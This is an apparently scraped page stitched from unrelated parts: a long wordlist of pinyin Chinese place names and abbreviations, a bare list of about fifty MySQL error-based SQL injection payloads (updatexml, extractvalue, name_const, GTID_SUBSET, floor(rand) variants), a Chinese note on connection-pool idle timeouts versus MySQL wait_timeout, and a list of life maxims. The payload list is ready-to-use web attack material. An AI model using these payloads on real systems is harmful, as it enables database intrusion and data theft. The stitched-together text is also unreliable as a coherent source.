xe
xf
xg
xgll
xh
xhl
xhy
xiacheng
xiahe
xiahuayuan
xiajiang
xiajin
xialu
xian
xianan
xianfeng
xiangan
xiangcheng
xiangdong
xiangfang
xiangfen
xianggang
xianggelila
xianghe
xianghuang
xiangning
xiangqiao
xiangshan
xiangshui
xiangtan
xiangxi
xiangxiang
xiangyang
xiangyin
xiangyuan
xiangyun
xiangzhou
xianju
xianning
xiantao
xianxi
xianxian
xianyang
xianyou
xiaodian
xiaogan
xiaogang
xiaojin
xiaonan
xiaoshan
xiaoxian
xiaoyi
xiapu
xiashan
xiaxian
xiayi
xichang
xicheng
xichong
xichou
xichuan
xide
xiejiaji
xietongmen
xifeng
xigang
xigong
xigu
xihe
xihu
xihua
xiji
xikou
xilin
xiling
xilinguole
xilinhaote
xiluo
ximeng
xinan
xinbaerhuyou
xinbaerhuzuo
xinbei
xinbin
xincai
xinchang
xincheng
xindian
xindou
xinfeng
xinfu
xingan
xingang
xingbin
xingcheng
xingguo
xinghai
xinghe
xinghua
xinghualing
xinglong
xinglongtai
xingning
xingping
xingqing
xingren
xingshan
xingtai
xingtang
xingwen
xingxian
xingye
xingyi
xingzi
xinhe
xinhua
xinhuang
xinhui
xining
xinji
xinjian
xinjiang
xinjin
xinle
xinlin
xinlong
xinluo
xinmi
xinmin
xinning
xinpi
xinping
xinpu
xinqing
xinqiu
xinrong
xinshao
xinshe
xinshi
xintai
xintian
xinwu
xinxian
xinxiang
xinxing
xinyang
xinye
xinyi
xinyu
xinyuan
xinzheng
xinzhou
xinzhu
xinzhuang
xiongguan
xionglin
xiongxian
xiping
xiqing
xiqu
xisaishan
xishan
xishi
xishuangbanna
xishui
xitun
xiufeng
xiulin
xiuning
xiushan
xiushui
xiuwen
xiuwu
xiuyan
xiuying
xiuyu
xiuzhou
xiwuzhumuqin
xixia
xixian
xixiang
xixiangtang
xixiu
xiyang
xiyu
xizang
xizhi
xizhou
xj
xjj
xk
xl
xlgl
xlht
xlt
xm
xn
xp
xq
xr
xs
xsbn
xss
xt
xtm
xuancheng
xuanen
xuanhan
xuanhua
xuanwei
xuanwu
xuanzhou
xuchang
xuecheng
xuhui
xundian
xunhua
xunke
xunwu
xunyang
xunyi
xupu
xushui
xuwen
xuyi
xuyong
xuzhou
xw
xwzmq
xx
xxt
xy
xz
y
ya
yaan
yadong
yajiang
yakeshi
yanan
yanbian
yancheng
yanchi
yanchuan
yandou
yanfeng
yangbi
yangcheng
yangchun
yangdong
yanggao
yanggu
yangjiang
yangling
yangmei
yangming
yangpu
yangqu
yangquan
yangshan
yangshuo
yangxi
yangxian
yangxin
yangyuan
yangzhong
yangzhou
yanhe
yanhu
yanji
yanjiang
yanjin
yanliang
yanling
yanping
yanpu
yanqi
yanqing
yanshan
yanshi
yanshou
yanta
yantai
yantan
yantian
yanting
yanyuan
yanzhang
yanzhou
yaoan
yaodou
yaohai
yaozhou
yazhou
yb
ybs
yc
yd
yecheng
yexian
yf
yg
yh
yht
yian
yibin
yichang
yicheng
yichuan
yichun
yidou
yifeng
yihuang
yijiang
yijinhuoluo
yijun
yilan
yili
yiliang
yiling
yilong
yima
yimen
yinan
yinchuan
yindou
yingcheng
yingde
yingdong
yingge
yingjiang
yingjing
yingjisha
yingkou
yingquan
yingshan
yingshang
yingshouyingzi
yingtan
yingxian
yingyang
yingze
yingzhou
yinhai
yining
yinjiang
yintai
yinzhou
yishui
yitong
yiwu
yixian
yixing
yixiu
yiyang
yiyuan
yizhang
yizheng
yizhou
yizhu
yj
yjhl
yjs
yjw
yk
yks
yl
ym
yn
yongan
yongchang
yongcheng
yongchuan
yongchun
yongde
yongdeng
yongding
yongfeng
yongfu
yonghe
yongji
yongjia
yongjing
yongkang
yongnian
yongning
yongping
yongqiao
yongqing
yongren
yongshan
yongsheng
yongshou
yongshun
yongtai
yongxin
yongxing
yongxiu
yongzhou
youhao
youjiang
youjianwang
youxi
youxian
youyang
youyi
youyu
yp
yph
yq
yr
ys
ysyz
yt
yuan
yuanan
yuanbao
yuanbaoshan
yuancheng
yuanhui
yuanjiang
yuanlang
yuanli
yuanlin
yuanling
yuanmou
yuanping
yuanqu
yuanshan
yuanshi
yuanyang
yuanzhang
yuanzhou
yubei
yucheng
yuchi
yuci
yudou
yuecheng
yuechi
yuehu
yuelu
yuepuhu
yuetang
yuexi
yuexiu
yueyang
yueyanglou
yufeng
yugan
yuhang
yuhong
yuhu
yuhua
yuhuan
yuhuatai
yuhui
yujiang
yuli
yulin
yulong
yumen
yumin
yunan
yuncheng
yunfu
yunhe
yunlian
yunlin
yunlong
yunmeng
yunnan
yunxi
yunxian
yunxiao
yunyan
yunyang
yuping
yuqing
yuquan
yushan
yushe
yushu
yushui
yutai
yutian
yuwangtai
yuxi
yuxian
yuyang
yuyao
yuzhong
yuzhou
yw
ywt
yx
yy
yyl
yz
z
za
zaduo
zanhuang
zaoqiang
zaoqiao
zaoyang
zaozhuang
zb
zc
zd
zeku
zengcheng
zepu
zezhou
zf
zg
zge
zh
zhabei
zhada
zhalaite
zhalantun
zhalute
zhanang
zhangan
zhangbai
zhangbei
zhangbin
zhangcheng
zhangchun
zhangdao
zhangdian
zhangfeng
zhangge
zhanggong
zhanghai
zhanghua
zhangjiachuan
zhangjiagang
zhangjiajie
zhangjiakou
zhangle
zhangling
zhangning
zhangping
zhangpu
zhangqing
zhangqiu
zhangsha
zhangshou
zhangshu
zhangshun
zhangtai
zhangting
zhangwan
zhangwu
zhangxian
zhangxing
zhangyang
zhangye
zhangyuan
zhangzhi
zhangzhou
zhangzi
zhanhe
zhanhua
zhanjiang
zhanqian
zhanyi
zhaoan
zhaodong
zhaohua
zhaojue
zhaoling
zhaoping
zhaoqing
zhaosu
zhaotong
zhaoxian
zhaoyang
zhaoyuan
zhaozhou
zhecheng
zhejiang
zhenan
zhenba
zhenfeng
zhengan
zhengding
zhenghe
zhenglan
zhengning
zhengxiang
zhengxiangbai
zhengyang
zhengzhou
zhenhai
zhenjiang
zhenkang
zhenlai
zhenning
zhenping
zhenxing
zhenxiong
zhenyuan
zherong
zhidan
zhiduo
zhifu
zhijiang
zhijin
zhongba
zhongfang
zhonghe
zhongjiang
zhongli
zhongliao
zhonglou
zhongmou
zhongning
zhongpu
zhongqing
zhongqu
zhongshan
zhongwei
zhongxi
zhongxian
zhongxiang
zhongyang
zhongyuan
zhongzhan
zhongzheng
zhoucun
zhoukou
zhouning
zhouqu
zhoushan
zhouzhi
zhuanghe
zhuanglang
zhuangwei
zhubei
zhucheng
zhudong
zhuhai
zhuhui
zhuji
zhumadian
zhunan
zhungeer
zhuolan
zhuolu
zhuoni
zhuoxi
zhuozhou
zhuozi
zhuqi
zhushan
zhutang
zhutian
zhuxi
zhuzhou
zibo
zichuan
zigong
zigui
zijin
ziliujing
zitong
zixi
zixing
ziyang
ziyuan
ziyun
zizhang
zizhong
zizhou
zj
zjc
zjg
zjj
zjk
zk
zl
zlj
zlt
zm
zmd
zn
zongyang
zoucheng
zouping
zp
zq
zr
zs
zt
zunhua
zunyi
zuogong
zuoquan
zuoshui
zuoying
zuoyun
zw
zx
zxb
zy
zz
chongqing
bengbu
chengdu
fuzhou1
gubaotou
jiaonan
jining1
lvliang
lvshun
xiamen
taizhou1
xiangfan
xicang
yichun1
yulin1
changchun
changhai
changsha
changzhi
ask
gbt

mysql 报错注入语句

'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)#
'=0 group by elt(rand(),version())having sum(0)#
'-updatexml(0,repeat(version(),2),2)#
'|polygon((select*from(select name_const(version(),1))x))#
'--~(select*from(select@@version)f)#
'|GTID_SUBSET(@@version,0)#
'/(select*from(select+name_const(version(),1),name_const(version(),1))a)#
'=0 group by elt(rand(),version())having min(0)#
'/updatexml(0,repeat(version(),2),0)#
'-polygon((select*from(select name_const(version(),1))o))#
'/gtid_subset(@@version,0)#
'|(select*from(select name_const(version(),1),name_const(version(),1))a)#
'|updatexml(1,repeat(version(),2),1)#
'<1 group by elt(rand(),version())having min(0)#
'|polygon((select*from(select name_const(version(),1))p))#
'|!(select*from(select@@version)x)-~0#
'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''='
' and extractvalue(rand(0),concat(0x0a,version()))or''='
'--~(select*from(select@@version)f)#
'|(select!x-~0.FROM(select+version()x)f)#
'|(select!x-~0.FROM(select@@version x)f)#
'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),'
'-(select*from(select name_const(version(),1),name_const(version(),1))p)#
'/updatexml(0,concat(0xa,version()),0)#
'/updatexml(0,concat('$_',version()),0)#
'-updatexml(1,concat('a=.',version()),1)#
'-updatexml(1,LPAD(.1,999,hex(hex(version()))),1)#
'/polygon((select*from(select name_const(version(),1))o))#
'-~(select*from(select@@version)x)*2#
1e308'*(select*from(select@@version)x)#
'-(select~b*a*a*a from(select~0/.1 a,version()b)x)#
'-GTID_SUBSET(@@version,0)#
'|updatexml(1,concat('a=.',version()),1)#
'|updatexml(0,concat('$_',version()),2)#
'-updatexml(0,concat(0x1,version()),2)#
'|updatexml(0,lpad(.1,350,hex(hex(version()))),1)#
'|(~(select*from(select@@version)f)*2)#
'|~(select*from(select@@version)x)*cast(1e99as decimal(65))#
'||1 group by mid(version(),rand())having min(1)#
'|UpdateXML(1,concat('/',version()),1)#
'|UpdateXML(1,concat('$_',version()),1)#
'|ExtractValue(1,concat('/a[x=y]',version()))#
'|Polygon((select*from(select name_const(version(),1))b))#
'|UpdateXML(0,CONCAT(hex(hex(version())),repeat(0,285),'.'),1)#
'|(select-9223372036854775808-(x||1)FROM(select+version()x)z)#
'|(select pow(2,~x)FROM(select+version()x)z)#
'|(select~0*cast(x as DECIMAL(1))*~0*~0*~0.FROM(select+version()x)z)#
'|GTID_SUBSET(version(),0)#
'||1 group by concat(left(version(),9),rand(0)|0) having max(0)#
'-updatexml(1,concat('.a=a',version()),1)#





From : http://blackfan.ru/mysql_game/

关于数据库连接池的最大空闲时间的配置

java的所有的连接池 无论是c3p0、dbcp还是druid,都有一个类似maxWait或者maxIdleTime配置项。具体含义就是当连接长时间没有向服务器发请求的时候,断开这个连接,避免对数据库连接的浪费。这个时间不是随便设的,它的依据是数据库的连接最大空闲时间。

以mysql为例,它有个_wait_timeout 参数,你可以通过命令show variables like “%timeout%”查看
+—————————–+———-+
| Variable_name               | Value    |
+—————————–+———-+
| connect_timeout             | 10       |
| delayed_insert_timeout      | 300      |
| innodb_flush_log_at_timeout | 1        |
| innodb_lock_wait_timeout    | 50       |
| innodb_rollback_on_timeout  | OFF      |
| interactive_timeout         | 28800    |
| lock_wait_timeout           | 31536000 |
| net_read_timeout            | 30       |
| net_write_timeout           | 60       |
| rpl_stop_slave_timeout      | 31536000 |
| slave_net_timeout           | 3600     |
| wait_timeout                | 28800    |
+—————————–+———-+

wait_timeout默认的时候是8个小时28800秒,但是有时候可能被不经意修改。这个时间表示当连接在28800个时间没有向服务器发请求的时候,它就会断开这个连接。
你可以通过set global wait_timeout=60000来修改。不过好像interactive_timeout也必须同时修改才可以,要不wait_timeout改不了,它会用interactive_timeout的值初始化wait_timeout(这个原理又是另外一回事了).

所以在使用连接池的时候maxWait或者maxIdleTime,这个参数必须设置为小于wait_timeout的值,否则的话,当你的连接长时间没和数据库交互,服务器早把你的连接断开了,而你的连接池还认为是有效的连接,除非你设置testOnBorrow或者testOnReturn设置为true,这样当连接每次从连接池中取出或者放回的时候检查下连接是否有效。不过这样回牺牲一点性能。
否则你就会收到下面这样类似的异常,特别是经过一个耗时长的查询之后,这个连接再用于进行下次数据库操作的时候。

The last packet successfully received from the server was 1,867,460 milliseconds ago.  The last packet sent successfully to the server was 0 milliseconds ago.; nested exception is com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure

一位老人的九句话

1、不要奢望别人给你经济上的任何帮助,钱对任何人都是不够用的。(学会给予)
2、朋友帮你是善事,是道义;朋友不帮你也无可厚非,不该心怀怨尤,人家不欠你的!(学会理解)
3、要知道没有人必须在你需要的时候帮你,只有你自己,所以让自己独立、坚强、快乐、幸福,才是你需要做的,毕竟只有自己必须和你生死与共,休戚相关。明白?(学会坚强)
4、不要看贫富交朋友,他有亿万家财跟你一毛钱关系都没有,别把自己弄成哈巴狗。他也许一无所有却可以把唯一的馒头分给你。(学会分辨)
5、不要为了经济富有的朋友疏远了精神富有的朋友,慢慢你会明白,经济上富裕的朋友可以带你吃喝玩乐,也可以带给你复杂纷乱的世俗烦恼,精神富有的朋友也许只能带你去田野里,去溪流畔,没有美酒佳肴,没有香槟、咖啡、没有舞池,可是她能陪你一起奔跑、一起笑的像傻子。(学会自重)
6、可以相信世上真的有美好坚贞的爱情,但是它只属于牛郎织女、梁山伯祝英台、还有外国的罗密欧和朱丽叶。因为他们都没有活很久。而我们是要活很久的。(学会珍惜)
7、不管你因为什么结婚,只要你有了孩子,你就要爱这个家,不管它多么简陋多么寒冷,你都有义务让它温馨起来,因为你是父母!(学会承担)
8、我们的青春眨眼间就没有了,皱纹一条一条的爬到眼角,我们阻止不了岁月破坏我们的容颜,可是我们可以让心在岁月中慢慢磨砺,如蚌中的沙,慢慢的光润起来,等到我们发苍齿摇、步履蹒跚的时候,还可以让珍珠的光泽晕红最后的行程,不是吗?(学会成长)
9、不要执着,人生有很多不如意,世界不会迎合你,地球不是为你转的,所以不要执着于拥有,连我们都只是红尘的过客,生是赤条条的来,死又能带走什么呢?(学会放下)